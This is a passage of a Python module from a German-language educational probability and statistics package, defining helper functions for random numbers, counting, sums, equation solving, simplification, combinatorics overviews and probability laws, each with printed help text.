Erzeugung von ganzzahligen Pseudo-Zufallszahlen\\n\")\t\n print(\"Aufruf zuf_zahl( bereich1 /[, bereich2, ... ] /[, anzahl ] )\\n\")\t\n print(\" bereich Bereichsangabe z.B. (0, 9); [1, 6]\")\n print(\" anzahl Anzahl der erzeugten Zahlen; Standard = 1\\n\")\n print(\"Zusatz w=nein keine Wiederholung von Zahlen; Standard=ja\")\n print(\" s=ja sortierte Ausgabe mehrerer Zufallszahlen; \") \n print(\" Standard=nein\\n\")\n print(\"R\u00fcckgabe eine einzelne Zahl oder eine Liste mit anzahl Elementen\")\n print(\" ist die Anzahl der Bereiche > 1, so ist jedes Element ein\")\n print(\" Tupel, dessen i. Element aus dem i. Bereich ist\\n\")\n print(\"Beispiele zuf_zahl( (0, 9) ) - eine Zufallsziffer 0, 1, ... oder 9\")\n print(\" zuf_zahl( (1, 365), 6, w=nein ) - 6 Tage eines Jahres, ohne\") \n print(\" Wiederh.\")\t\t\n print(\" zuf_zahl( [0, 1], 3 ) - zur Simulation des 3-maligen Werfens\") \n print(\" einer M\u00fcnze\")\t\t\n print(\" zuf_zahl( [1, 6], [1, 6], 100 ) - zur Simulation des 100-ma-\")\n print(\" ligen Werfens zweier W\u00fcrfel\\n\")\t\t\n return\t\n\t\n if not args:\n print('zufall: Mindestens ein Argument angeben')\n return\n if not iterable(args[0]):\n print('zufall: Mindestens einen Bereich angeben') \n return\n if iterable(args[-1]):\n anzahl = 1\n bereich = [*args]\n else:\n anzahl = args[-1] \n bereich = [*args[:-1]]\n for ber in bereich:\n if not (iterable(ber) and len(ber) == 2):\n print('zufall: Bereiche der L\u00e4nge 2 und eventuell Anzahl angeben')\n return\n if not (isinstance(ber[0], (int, Integer)) and isinstance(ber[1], (int, Integer))):\n print('zufall: die Bereichsgrenzen m\u00fcssen ganzzahlig sein')\n return \n if ber[0] >= ber[1]:\n print('zufall: es muss 1.Bereichsgrenze < 2.Bereichsgranze sein')\n return \n w = kwargs.get('w')\n if w == None:\n w = True \n s = kwargs.get('s') \n if anzahl == 1:\n if len(bereich) == 1:\n return randint(*bereich[0])\n else:\n return [randint(*b) for b in bereich]\n else:\n if len(bereich) == 1:\n b = bereich[0]\n if w:\n if not s:\t\t\t\t\n return [randint(*b) for i in range(anzahl)]\n return sorted([randint(*b) for i in range(anzahl)])\n if anzahl > len(range(b[0], b[1]+1)):\n print('zufall: es muss Anzahl <= Bereichsgr\u00f6\u00dfe sein')\n return\n if not s:\t\t\t\t\t\n return sample(range(b[0], b[1]+1), anzahl)\n return sorted(sample(range(b[0], b[1]+1), anzahl))\n else:\n if w is None:\n samp = [[randint(*b) for b in bereich] for i in range(anzahl)]\n if s is None:\t\t\t\t\n return samp\n return sorted(samp)\t\t\t\t\t\t\n anz = 1\t\t\t\t\t\n for b in bereich:\n g = b[1] - b[0] + 1\n anz *= g\n if anz < anzahl and not w:\n print('zufall: die angegebene Anzahl ist gr\u00f6\u00dfer als die Vorratsmenge')\n return\t\t\t\t\t\n samp, i = [], 0\n while i < anzahl:\n sa = []\n for b in bereich:\n sa += [randint(*b)]\n samp += [tuple(sa)]\n i += 1\n if not s:\t\t\t\t\t\n return samp\t\t\t\t\t\n return sorted(samp)\t\t\t\t\t\n\t\nzufZahl = zuf_zahl\n\t\n\t\n# -------------------------------------\n# Anzahl des Vorkommens eines Elementes \n# in einer DatenReihe / Liste\n# -------------------------------------\n \t\ndef anzahl(*args, **kwargs):\n \"\"\"Anzahl von Elementen\"\"\"\n\t\n if kwargs.get('h'):\t\n print(\"\\nanzahl - Anzahl des Vorkommens eines Elementes in einer DatenReihe /\") \n print(\" Liste\\n\")\n print(\"Aufruf anzahl( daten /[, elem ] )\\n\")\t\t \n print(\" daten Liste von Elementen | DatenReihe\")\n print(\" elem Listen- / Datenelement\") \t\n print(\" bei Fehlen wird die Anzahl der Elemente\")\n print(\" von daten zur\u00fcckgegeben\")\n print(\" oder anzahl( elem )\\n\")\n print(\" es wird eine Funktion zur\u00fcckgegeben, die die Anzahl\")\n print(\" des Vorkommens des Elementes elem in einer Liste /\") \n print(\" DatenReihe z\u00e4hlt\")\n print(\" bei deren Aufruf ist die Liste / DatenReihe als\")\n print(\" Argument anzugeben; ist elem selbst eine Liste, ist\") \n print(\" der Zusatz el=ja anzugeben\\n\")\n print(\"Beispiele\")\n print(\"anzahl( [ 1, 0, 0, 1, 1, 1 ], 1 ) ergibt 4\")\n print(\"anzahl( [ a, b, c ] ) ergibt 3\")\n print(\"anzahl(sp, W) ergibt die Anzahl der W[appen] in der Stichprobe sp beim\")\n print(\" M\u00fcnzwurf-ZufallsExperiment)\")\n print(\"anzahl( el ) ergibt eine Funktion zum Z\u00e4hlen des Elements el\")\n print(\" anzahl(0)( [0,1,1,0,0] ) ergibt 3\")\n print(\" ist el eine Liste, wird der Zusatz el=ja angegeben\")\n print(\" anzahl([a, b], el=ja)( [[a, a], [a, b], [a, c], [a, b]]\") \n print(\" ergibt 2\\n\")\t\t\n return\t\t\n\n dr = importlib.import_module('zufall.lib.objekte.datenreihe')\n DatenReihe = dr.DatenReihe\n\t\t\t\n if len(args) == 1:\n a = args[0]\t\n if isinstance(a, list) and not kwargs.get('el'):\t\t\n return len(a)\n elif isinstance(a, DatenReihe):\t\t\t\n return a.n\n else:\n def fkt(*li):\n liste = li[0]\t\t\t\t\t\n if not liste or not isinstance(liste, (list, DatenReihe, \\\n tuple, Tuple)):\t\t\t\n print('zufall: Liste oder DatenReihe angeben')\n return\n if isinstance(liste, DatenReihe):\t\n liste = liste.daten\t\t\t\t\n return len([x for x in liste if x == a])\t\t\t\t\n return fkt\t\t\n elif len(args) == 2:\n liste, elem = args\n if not isinstance(liste, (list, DatenReihe)):\t\t\t\n print('zufall: als 1. Argument Liste oder DatenReihe angeben')\n return\n if isinstance(liste, DatenReihe):\t\n liste = liste.daten\t\t\t\t\n return len([x for x in liste if x == elem])\t\t\t\t\n else:\n print('zufall: ein oder zwei Argumente angeben')\n return\t\t\n\n\n\n# --------------\n# Anzahl Treffer \n# --------------\n \t\ndef anzahl_treffer(*args, **kwargs):\n \"\"\"Anzahl Treffer\"\"\"\n\t\n if kwargs.get('h'):\t\n print(\"\\nanzahl_treffer - Anzahl des Treffer\\n\")\n print(\"Aufruf anzahl_treffer( treffer )\\n\")\t\t \n print(\" treffer Element, das als Treffer / Erfolg angesehen\")\n print(\" wird (etwa Wappen oder W beim M\u00fcnzwurf)\\n\")\n print(\"Die Funktion ist nur als ZG-Funktion beim Erzeugen von ZufallsGr\u00f6\u00dfe-Ob-\")\n print(\"jekten verwendbar\\n\")\n return\n if len(args) != 1:\n print('zufall: ein Element als Treffer angeben')\n return\t\t\n return anzahl(args[0])\n\nanzahlTreffer = anzahl_treffer\n\t\n\t\n# -----\n# Summe \n# -----\n \t\ndef summe(*args, **kwargs):\n \"\"\"Summe der Elemente\"\"\"\n\t\n if kwargs.get('h'):\t\n print(\"\\nsumme - Summe der Elemente einer Liste mit Daten / DatenReihe\\n\")\n print(\"Aufruf summe( daten )\\n\")\t\t \n print(\" daten Liste mit Daten | DatenReihe\\n\")\n print(\"Synonyme augen_summe, augenSumme\\n\")\t\t\n print(\"Beispiel\")\n print(\"summe( [ 1, 0, 0, 1, 1, 1 ] ) ergibt 4\\n\")\n return\t\n\t\t\n dr = importlib.import_module('zufall.lib.objekte.datenreihe')\n DatenReihe = dr.DatenReihe\n if len(args) != 1 or not isinstance(args[0], (list, tuple, Tuple, DatenReihe)):\t\n print('zufall: Liste oder Datenreihe angeben')\n return\n liste = args[0]\t\t\n if isinstance(liste, DatenReihe):\n liste = liste.daten\n if not all([isinstance(x, (int, Integer, Rational, float, Float)) for x in liste]):\n print('zufall: in der Liste nur Zahlen angeben')\n return\t\t\n return Add(*liste)\t\t\n\t\naugen_summe = summe \t\t\naugenSumme = summe \t\t\n\t\n\t\n\n# ------------------\n# Allgemeiner solver \t\t\n# ------------------\t\n\ndef loese(*args, **kwargs):\n if kwargs.get(\"h\") == 1:\n print(\"\\nl\u00f6se - Funktion\\n\")\n print(\"Zum L\u00f6sen von Gleichungen sowie von Ungleichungen\\n\")\n print(\" Aufruf l\u00f6se( gleich /[, variable ] )\\n\")\n print(\" gleich linke Seite einer Gleichung der Form\")\n print(\" ausdruck = 0 oder Liste mit solchen\")\n print(\" Elementen (Gleichungssystem)\")\n print(\" variable einzelne oder Liste von Variablen\") \n print(\" ausdruck Ausdruck in den Variablen\\n\")\n print(\" oder l\u00f6se( ungleich /[, variable ] )\\n\")\n print(\" ungleich Ungleichung der Form ausdruck rel ausdruck1\")\n print(\" rel Relation '<' | '<=' | '>' | '>='\\n\")\n print(\"Zusatz set=ja Verwendung von solveset; standardm\u00e4\u00dfig wird solve ver-\")\n print(\" wendet (siehe SymPy-Dokumentation)\\n\")\t\t\n print(\"Beispiele\")\t\n print(\"l\u00f6se( 3*x^2 + 5*x - 3 ) - einzelne Gleichung\")\n print(\"l\u00f6se( 3*x^2 + 5*x - 3, set=ja )\")\n print(\"l\u00f6se( (1-1/3)^n > 0.01, set=ja ) - Ungleichung\") \t\t\n print(\"l\u00f6se( [2*x-4*y-2, 3*x+5*y+1] ) - Gleichungssystem\\n\")\n return\t\n\t\t\n ve = importlib.import_module('agla.lib.objekte.vektor')\n Vektor = ve.Vektor\n\t\n if len(args) == 1:\n gleich = args[0]\n var = []\n elif len(args) == 2:\t\t\n gleich = sympify(args[0])\n var = args[1]\n else:\n print('zufall: ein oder zwei Argumente angeben')\n return\t\t\n if not type(var) in (Symbol, list, tuple, Tuple):\n print('zufall: einzelne Variable als Symbol, mehrere in einer' + \n ' Liste angeben')\n return\t\n\t\t\n se = kwargs.get('set') \t\t\n if is_zahl(gleich):\n if se:\n if not var:\n return solveset(gleich, domain=S.Reals) \t\t\t\t\n return solveset(gleich, var, domain=S.Reals)\n if not var:\n res = solve(gleich, dict=True, rational=True)\n else:\n res = solve(gleich, var, dict=True, rational=True)\n if isinstance(res, list) and len(res) == 1:\n return res[0]\n if not res:\n return set()\n return res\t\t\t\n elif isinstance(gleich, _Gleichung):\n gleich = gleich.lhs - gleich.rhs\n if se:\n if not var:\n return solveset(gleich, domain=S.Reals)\n return solveset(gleich, var, domain=S.Reals)\n if not var:\n res = solve(gleich, dict=True, rational=True)\n else:\n res = solve(gleich, var, dict=True, rational=True)\t\n if isinstance(res, list) and len(res) == 1:\n return res[0]\n if not res:\n return set()\n return res\t\t\t\n elif isinstance(gleich, Vektor):\n gleich = [gleich.komp[i] for i in range(gleich.dim)]\t\n if not var:\t\t\t\n res = solve(gleich, dict=True, rational=True)\n else:\n res = solve(gleich, var, dict=True, rational=True)\n if isinstance(res, list) and len(res) == 1:\n return res[0]\n if not res:\n return set()\n return res\t\t\t\n elif isinstance(gleich, (list, tuple, Tuple)):\n res = solve(gleich, rational=True)\n if not res:\n return set()\n return res\t\t\t\n elif '<' in str(gleich) or '>' in str(gleich):\n if se:\n if not var:\n return solveset(gleich, domain=S.Reals)\t\t\t\n return solveset(gleich, var, domain=S.Reals)\n if not var:\n res = solve(gleich)\n else:\n res = solve(gleich, var)\n if isinstance(res, list) and len(res) == 1:\n return res[0]\n if not res:\n return set()\n return res\t\t\n else:\n print('zufall: linke Seite einer Gleichung oder einer ' +\n 'Vektorgleichung oder Gleichungssystem angeben')\n\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t \n# -------------\n# Vereinfachung\t\n# -------------\t\n\nfrom zufall.lib.objekte.umgebung import UMG \n\ndef einfach(*x, **kwargs):\t\n if kwargs.get('h') == 1:\n print(\"\\neinfach - Funktion\\n\")\n print(\"Vereinfachung von Objekten\\n\")\n print(\"Aufruf einfach( objekt )\\n\")\n print(\" objekt numm. Ausdruck, Vektor, Matrix\\n\")\n print(\"Zusatz rad=ja Einsatz von radsimp\")\n print(\" trig=ja Einsatz von trigsimp\")\n print(\" num=ja Einsatz von nsimplify\") \n print(\" sign=ja Einsatz von signsimp\") \n print(\" (siehe SymPy-Dokumentation)\\n\")\t\t\n return\n\t\t\n Vektor = importlib.import_module('agla.lib.objekte.vektor').Vektor\t\n if len(x) != 1:\n print('zufall: ein Objekt angeben')\n return\t\n x = x[0]\t\t\n if not UMG.SIMPL:\n return x\n if not (is_zahl(x) or isinstance(x, (Vektor, SympyMatrix))):\n print('zufall: nummerischen Wert, Vektor oder Matrix angeben')\n return\t\t\n if isinstance(x, Vektor):\n li = [einfach(k, **kwargs) for k in x.komp]\n return Vektor(li)\n if isinstance(x, SympyMatrix):\n Matrix = importlib.import_module('zufall.lib.objekte.matrix').Matrix\t\t\n return Matrix(*[einfach(v, **kwargs) for v in x.vekt])\n elif is_zahl(x):\n if not kwargs:\n return simplify(x)\t\n elif kwargs.get('rad'):\n return radsimp(x)\n elif kwargs.get('trig'):\n return trigsimp(x)\n elif kwargs.get('num'):\n try:\t\n return nsimplify(x)\n except RecursionError:\n return x\t\t\n elif kwargs.get('sign'):\n return signsimp(x)\n else:\n return x\t\t\n \t\t\t\t\t \n \t\t\t\t\t\t\t\t\t\t\t\t\t \n# --------------------------\n# k-Auswahlen aus n Objekten\n# --------------------------\n\ndef auswahlen(**kwargs):\n \"\"\"k-Auswahlen aus n Objekten; \u00dcbericht\"\"\"\n\n if kwargs.get('h'):\t\t\n print(\"\\nk-Auswahlen aus n Objekten (\u00dcbersicht)\\n\")\t\n print(\"Aufruf auswahlen( )\\n\")\n print(\"Zusatz a=ja Algorithmus als Pseudocode\\n\")\t\n return\n\n if not kwargs.get('a'):\n\n dm = lambda x: display(Math(x))\t\t\n\n print(' ')\t\t\n dm('\\\\text{Tabelle der $k$-Auswahlen aus $n$ Objekten}')\n print(' ')\t\t\n dm('\\\\text{Bezeichnung $\\\\qquad\\qquad\\\\quad$ Eigenschaften \\\n $\\\\qquad\\\\quad$ Formel $\\\\qquad\\\\quad$ Beispiel}')\n dm('\\\\text{$k$-Kombination oW mA } \\\\quad\\:\\, k \\\\lt n \\\\qquad\\\\quad \\\n\t\t \\\\qquad\\quad\\; \\\\dfrac{n!}{(n-k)!} \\\\qquad\\\\quad\\, \\\\text{Pakplatzbelegung}')\n dm('\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad \\\n \t\t\\\\qquad\\\\qquad\\;\\, \\\\text{15 Autos, 6 Pl\u00e4tze}')\n dm('\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad \\\n \t\t\\\\qquad\\\\qquad\\; \\, \\\\Rightarrow n=15, k=6')\t\t\t\n dm('\\\\text{$k$-Kombination mW mA} \\\\quad\\:\\, k, n \\; \\\\text{beliebig} \\\\qquad\\\\quad \\\n\t\t \\,\\quad n^k \\\\qquad\\\\qquad\\\\quad\\, \\\\text{Fu\u00dfballtoto}')\n dm('\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad \\\n \t\t\\\\qquad\\\\qquad\\; \\, \\\\Rightarrow n=3, k=11')\n dm('\\\\text{$k$-Permutation oW } \\\\qquad\\\\quad\\:\\, \\\\text{mA; jedes Element} \\\\quad\\:\\;\\, \\\n n! \\\\qquad\\\\qquad\\\\quad\\, \\\\text{Startaufstellung}')\t\n dm('\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\text{wird benutzt} \\\n \t\t\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\quad\\:\\;\\; \\, \\\\text{8 L\u00e4ufer auf 8 Bahnen}')\n dm('\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\, k=n \\\\qquad\\\\qquad \\\n \t\t\\\\qquad\\\\qquad\\\\qquad\\\\quad\\:\\:\\:\\; \\, \\\\Rightarrow n=k=8')\t\t\t\n dm('\\\\text{$k$-Permutation mW } \\\\qquad\\\\quad\\:\\, \\\\text{mA; jedes Element} \\\\quad\\:\\;\\, \\\n \\\\dfrac{n!}{n_1!\\cdot \\dots \\cdot n_p}\\\\quad\\, \\\\text{Anagramm}')\t\n dm('\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\text{wird benutzt} \\\n \t\t\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\quad\\:\\;\\; \\, \\\\text{RENNEN}')\n dm('\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\, k>n \\\\qquad\\\\qquad \\\n \t\t\\\\qquad\\\\qquad\\\\qquad\\\\quad\\:\\:\\:\\; \\, \\\\Rightarrow p=3,n=6')\n dm('\\\\text{$k$-Kombination oW oA } \\\\quad\\:\\,\\:\\; k \\\\lt n \\\\qquad\\\\quad \\\n\t\t \\\\qquad\\quad\\;\\; \\\\dfrac{n!}{(n-k)! \\cdot k!} \\\\quad\\, \\\\text{Zahlenlotto}')\n dm('\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad \\\n \t\t\\\\qquad\\\\qquad\\;\\, \\\\text{6 aus 49}')\n dm('\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad \\\n \t\t\\\\qquad\\\\qquad\\; \\, \\\\Rightarrow n=49, k=6')\t\t\t\n dm('\\\\text{$k$-Kombination mW oA } \\\\quad\\:\\,\\: k, n \\\\text{beliebig} \\\\qquad\\\\quad \\\n\t\t \\\\quad \\;\\; {n+k-1 \\choose k} \\\\quad \\\\text{Flaschentr\u00e4ger}')\n dm('\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad \\\n \t\t\\\\qquad\\\\qquad\\;\\, \\\\text{12 Flaschen aus 3 Sorten}')\n dm('\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad \\\n \t\t\\\\qquad\\\\qquad\\; \\, \\\\Rightarrow n=3, k=12')\t\t\t\n print(' ')\t\t\n dm('\\\\text{(mW/oW - mit/ohne Wiederholung, mA/oA - mit/ohne Anordnung)}')\n print(' ')\n dm('\\\\text{Oft werden Kombinationen mit Ber\u00fccksichtigung der Anordnung Variationen genannt}')\t\t\n dm('\\\\text{die ohne Ber\u00fccksichtigung der Anordnung hei\u00dfen dann Kombinationen}')\n print(' ')\t\t\n return\n\n # Algorithmus\t\t\n print(\"\"\" \\\n \nAlgorithmus zur Berechnug der k-Auswahlen aus n Objekten (Python-\u00e4hn- \nlicher Pseudocode)\n\nAnalyse der Aufgabenstellung\nWENN die Elemente 'angeordnet' sind:\n WENN einzelne Elemente wiederholt werden d\u00fcrfen:\n WENN jedes Element mindestens einmal benutzt wird:\n Permutation mW mit n > p\n / Aus n > p ergibt sich die Zuordnung von p und n:\n / Die L\u00e4nge n der Anordnung ist gr\u00f6\u00dfer als die Gr\u00f6\u00dfe p \n / der Vorratsmenge ]\n SONST:\n Kombination mW mA\n / Zuordnung von k und n:\n / Das, was 'wiederholt' werden kann, geh\u00f6rt zur Vorrats-\n / menge \n SONST:\n WENN jedes Element genau einmal benutzt wird:\n WENN k = n ist:\n Permutation oW\n SONST:\n ES WURDE ETWAS \u00dcBERSEHEN\n neu beginnen\n SONST: \n Kombination oW mA mit k < n\n / Aus k < n ergibt sich die Zuordnung von n und k:\n / Die L\u00e4nge k der Anordnung ist kleiner als die Gr\u00f6\u00dfe n \n / der Vorratsmenge \nSONST:\n WENN Elemente wiederholt werden d\u00fcrfen:\n Kombination mW oA\n / Zuordnung von n und k:\n / Das, was 'wiederholt' werden kann, geh\u00f6rt zur Vorratsmenge \n SONST:\n Kombination oW oA mit k < n\n / Aus k < n ergibt sich die Zuordnung von n und k:\n / Die Gr\u00f6\u00dfe k der Teilmenge ist kleiner als die Gr\u00f6\u00dfe n \n / der Vorratsmenge \n\n\t\t\t \nOft werden Kombinationen mit Ber\u00fccksichtigung der Anordnung Variationen \ngenannt, die ohne Ber\u00fccksichtigung der Anordnung hei\u00dfen dann Kombinationen\n\nGrundlage:\nWolfdieter Feix\nmentor Abiturhilfe\nMathematik Oberstufe\nStochastik\nmentor Verlag 2000\n\"\"\")\t\t\n return\n\n\n\n# ---------------------------------------\n# Gesetze der Wahrscheinlichkeitsrechnung\n# ---------------------------------------\n\ndef gesetze(**kwargs):\n \"\"\"Gesetze der Wahrscheinlichkeitsrechnung\"\"\"\n\n if kwargs.get('h'):\t\t\n print(\"\\nEinige Gesetze der Wahrscheinlichkeitsrechnung\\n\")\t\n print(\"Aufruf gesetze( )\\n\")\n return\n\n dm = lambda x: display(Math(x)) \t\n\t\n print(' ')\t\n dm('\\\\text{Einige Gesetze der Wahrscheinlichkeitsrechnung}')\n print(' ')\t\n dm('\\\\text{Additionssatz}')\n dm('\\\\qquad\\\\text{F\u00fcr beliebige Ereignisse} \\; A \\\\text{ und } B \\\\text{ gilt } P( \\\\cup B) = \\\n P(A)+P(B)-P(A \\\\cap B)')\t\n\t\n dm('\\\\text{Satz von Bayes}')\n dm('\\\\qquad\\\\text{Sei } A \\\\text{ ein Ereignis und } B \\\\text{ eine Bedingung, \\\n unter der das Ereignis betrachtet}')\n dm('\\qquad\\\\text{wird. Dann berechnet sich die Wahrscheinlichkeit } P_B(A) \\\n \\\\text{ f\u00fcr } A \\\\text{ unter der Be-}')\n dm('\\\\qquad \\\\text{dingung } B \\\\text{nach der Formel }\\; P_B(A) = \\\\dfrac{P(A \\\\cap B)}{P(B)}')\t\n\t \n dm('\\\\text{Multiplikationssatz}')\n dm('\\\\qquad\\\\text{Ist } P(A) \\\\neq 0 \\\\text{, so gilt } P(A \\\\cap B) = P(A) \\cdot \\\n P_A(B)')\t\n\t \n dm('\\\\text{Satz von der totalen Wahrscheinlichkeit}')\n dm('\\\\qquad\\\\text{F\u00fcr beliebige Ereignisse }A \\\\text{ und }B \\\\text{ gilt } P(B) = \\\n P(A \\\\cap B) + P(\\\\overline{A} \\\\cap B) = ')\n dm('\\\\qquad P(A) \\\\cdot P_A(B) + P(\\\\overline{A}) \\\\cdot P_\\\\overline{A}(B)') \t\t\n dm('\\\\qquad\\\\text{oder allgemeiner}')\t\n dm('\\\\qquad\\\\text{Wenn } A_1 \\\\cup A_2 \\\\cup \\\\dots \\\\cup A_n = \\\\Omega, \\; A_i\\\\cap A_j = \\\n \\\\emptyset \\\\text{ f\u00fcr } i,j=1\\dots n, i \\\\neq j \\\\text{ gilt, dann ist}')\n dm('\\\\qquad P(B) = \\\\sum_{i=1}^n P(A_i)\\\\cdot P_{A_i}(B)') \t\t\n dm('\\\\text{Empirisches Gesetz der gro\u00dfen Zahlen}')\n dm('\\\\qquad\\\\text{Bei langen Versuchsreihen, also bei h\u00e4ufiger Wiederholung eines Zufallsex-}')\n dm('\\\\qquad\\\\text{perimentes ver\u00e4ndern sich die relativen H\u00e4ufigkeiten eines Ergebnisses in }')\n dm('\\\\qquad\\\\text{der Regel nur noch wenig. Sie stabilisieren sich in der N\u00e4he der Wahrschein-}')\n dm('\\\\qquad\\\\text{lichkeit des Ergebnisses.}')\n dm('\\\\text{Bernoullisches Gesetz der gro\u00dfen Zahlen}')\n dm('\\\\qquad\\\\text{Gegeben sei ein } n \\\\text{-stufiges Bernoulli-Experiment mit der Trefferwahrschein-}')\n dm('\\\\qquad\\\\text{lichkeit }p. X \\\\text{ sei die Zufallsgr\u00f6\u00dfe \\'Anzahl der Treffer\\'. F\u00fcr jedes beliebige}') \n dm('\\\\qquad\\\\text{positive } \\\\epsilon \\\\text{ gilt dann }\\\\lim\\\\limits_{n \\\\rightarrow \\\\infty} P \\left( \\\n \\left| \\\\frac{X}{n} - p \\\\right| \\\\le \\\n \\\\epsilon \\\\right) = 1')\n dm('\\\\text{Tschebyschew - Ungleichung}')\n dm('\\\\qquad\\\\text{Sei } X \\\\text{ eine beliebige Zufallsgr\u00f6\u00dfe mit Erwartungswert } \\\\mu \\\\text{ und Standardabwei-}')\n dm('\\\\qquad\\\\text{chung }\\\\sigma. \\\\text{ F\u00fcr die Wahrscheinlichkeit, dass } X \\\\text{ einen Wert annimmt, der um}') \n dm('\\\\qquad\\\\text{mindestens } c\\; (c \\\\gt 0) \\\\text{ vom Erwartungswert abweicht, gilt}')\n dm('\\\\qquad P\\\\left(\\\\left|X - \\\\mu\\\\right| \\\\ge c \\\\right) \\\\le \\\\dfrac{\\\\sigma^2}{c^2}. \\\n\t \\\\qquad \\\\text{Daraus folgt}')\t\n dm('\\\\qquad P(\\\\mu - \\\\sigma\\cdot c \\\\le X \\\\le \\\\mu + \\\\sigma\\\\cdot c ) \\\\ge 1 -\\\\dfrac{1}{c^2}')\t\n dm('\\\\dfrac{1}{\\\\sqrt{n}} \\\\text{ - Gesetz}')\n dm('\\\\qquad X_1, X_2, \\\\dots , X_n \\\\text{ seien identisch verteilte unabh\u00e4ngige Zufallsgr\u00f6\u00dfen mit dem }')\t\n dm('\\\\qquad\\\\text{Erwartungswert } \\\\mu \\\\text{ und der Standardabweichung } \\\\sigma. \\\\text{ F\u00fcr die Zufallsgr\u00f6\u00dfe }')\n dm('\\\\qquad\\\\overline{X} = \\\\dfrac{1}{n} \\, (X_1 + X_2 + \\\\dots + X_n) \\ \\\\text{ gilt dann:} ')\n dm('\\\\qquad\\\\text{Sie hat den Erwartungswert } \\\\mu \\\\text{ und die Standardabweichung } \\\n \\\\dfrac{\\\\sigma}{\\\\sqrt{n}}')\t\n dm('\\\\text{Zentraler Grenzwertsatz}')\t\t\n dm('\\\\qquad X_1, X_2, \\\\dots , X_n \\\\text{ seien unabh\u00e4ngige Zufallsgr\u00f6\u00dfen. Die Zufallsgr\u00f6\u00dfe } \\\n \\;X = X_1+')\n dm('\\\\qquad \\\\dots + X_n \\\\text{ habe den Erwartungswert } \\\\mu \\\\text{ und die Standardabweichung } \\\\sigma. \\\n \\\\text{Dann}')\n dm('\\\\qquad\\\\text{gilt unter gewissen Bedingungen, die fast immer erf\u00fcllt sind (insbesondere}') \n dm('\\\\qquad\\\\text{f\u00fcr gro\u00dfes } n \\\\text{): }')\n dm('\\\\qquad\\\\text{Die Zufallsgr\u00f6\u00dfe $X$ ist n\u00e4herungsweise nomalverteilt mit } \\\\mu \\\\text{ und } \\\\sigma')\n print(' ')\n\n\t\n# ------------------\n# ja-nein - Funktion\n# ------------------\n\t\t\ndef ja_nein(*args, **kwargs):\n \"\"\"Bewertung eines logischen Ausdruckes\"\"\"\n\t\n if kwargs.get('h'):\n print(\"\\nja_nein - Bewertung eines logischen Ausdruckes\\n\")\t\n print(\"Aufruf ja_nein( ausdruck )\\n\")\t\t \n print(\" ausdruck Ausdruck mit dem Wert True oder False\\n\")\n print(\"R\u00fcckgabe 1, wenn ausdruck==True\")\t\t\t\n print(\" 0, wenn ausdruck==False\\n\")\t\t\n return\n\t\t\n if len(args) != 1:\n print('zufall: ein Argument angeben')\t\n return\n ausdruck = args[0]\t\t\n if not isinstance(bool(ausdruck), bool):\n print('zufall: der Ausdruck hat nicht den Wert True oder False')\n return\t\t\n if ausdruck:\n return 1\n return 0\t\t\n\t\njaNein = ja_nein\n\t\n\t\n# --------------------------------------------------------\n# stochastisch - Test auf stochastische(n) Vektor / Matrix\n# --------------------------------------------------------\n\t\ndef stochastisch(*args, **kwargs):\n \"\"\"Test auf stochastischen Vektor / Matrix\"\"\"\n\t\n if kwargs.get('h'):\n print(\"\\nstochastisch - Test auf stochastische(n) Vektor / Matrix\\n\")\t\n print(\"Aufruf stochastisch( objekt )\\n\")\t\t \n print(\" objekt Vektor, Matrix\\n\")\n print(\"Ein Vektor ist stochastisch, wenn alle Komponenten in [0, 1] liegen\")\t\t\n print(\"und ihre Summe 1 ist\\n\")\n print(\"Eine quadratische Matrix ist stochastisch, wenn alle Spaltenvektoren\") \n print(\"stochastisch sind\\n\")\t\t\n return\n\n if len(args) != 1:\n print('zufall: Vektor oder Matrix angeben')\n return\t\t\n obj = args[0]\t\n ve = importlib.import_module('agla.lib.objekte.vektor')\n Vektor = ve.Vektor\n if not isinstance(obj, (Vektor, SympyMatrix)):\n print('zufall: Vektor oder Matrix angeben')\n return\t\t\n if isinstance(obj, Vektor):\n if not all(k >= 0 for k in obj.komp):\n return False\n s = 0\n for k in obj.komp:\n s += k\t\n if s != 1:\n return False\n return True\t\t\t\n else:\t\n if obj.shape[0] != obj.shape[1]:\n return False\t\t\n for i in range(obj.shape[0]):\n col = Vektor(*[obj[j, i] for j in range(obj.shape[1])])\n if not stochastisch(col):\n return False\n return True \t\n\t\n\t\n\t\n# ------------------\n# Kurzform f\u00fcr Tupel\n# ------------------\n\ndef kurz_form(iterable):\n menge = list(iterable)\n symbole = all(map(lambda x: isinstance(x, Symbol), menge))\n ziffern = all(map(lambda x: isinstance(x, (int, Integer)), menge))\t\n if symbole or ziffern:\n kf = ''\n for el in menge:\n kf += str(el)\n return Symbol(kf)\t\n return None \t\t\t\t\n\t\n\t\n# ------------------------------------------\n# Erzeugen der Baumstruktur einer Tupelmenge\n# ------------------------------------------\t\n\t\ndef tupel2baum(liste):\n\t\n def kopf(liste):\n if not isinstance(liste, list):\n return liste\n elif len(liste) == 0:\n return None\n return liste[0] \n\t\t\t\n def rest(liste):\n if not isinstance(liste, list):\n return []\n elif len(liste) == 1:\n return []\n return liste[1:] \n \t\n def ibaum(liste):\n rliste = []\n if liste:\n rliste = ['o']\n #li = map(lambda x: not isinstance(x, list), liste)\n li = [not isinstance(x, list) for x in liste]\n if all(li):\n rliste += [[x] for x in liste]\n else: \n nam = 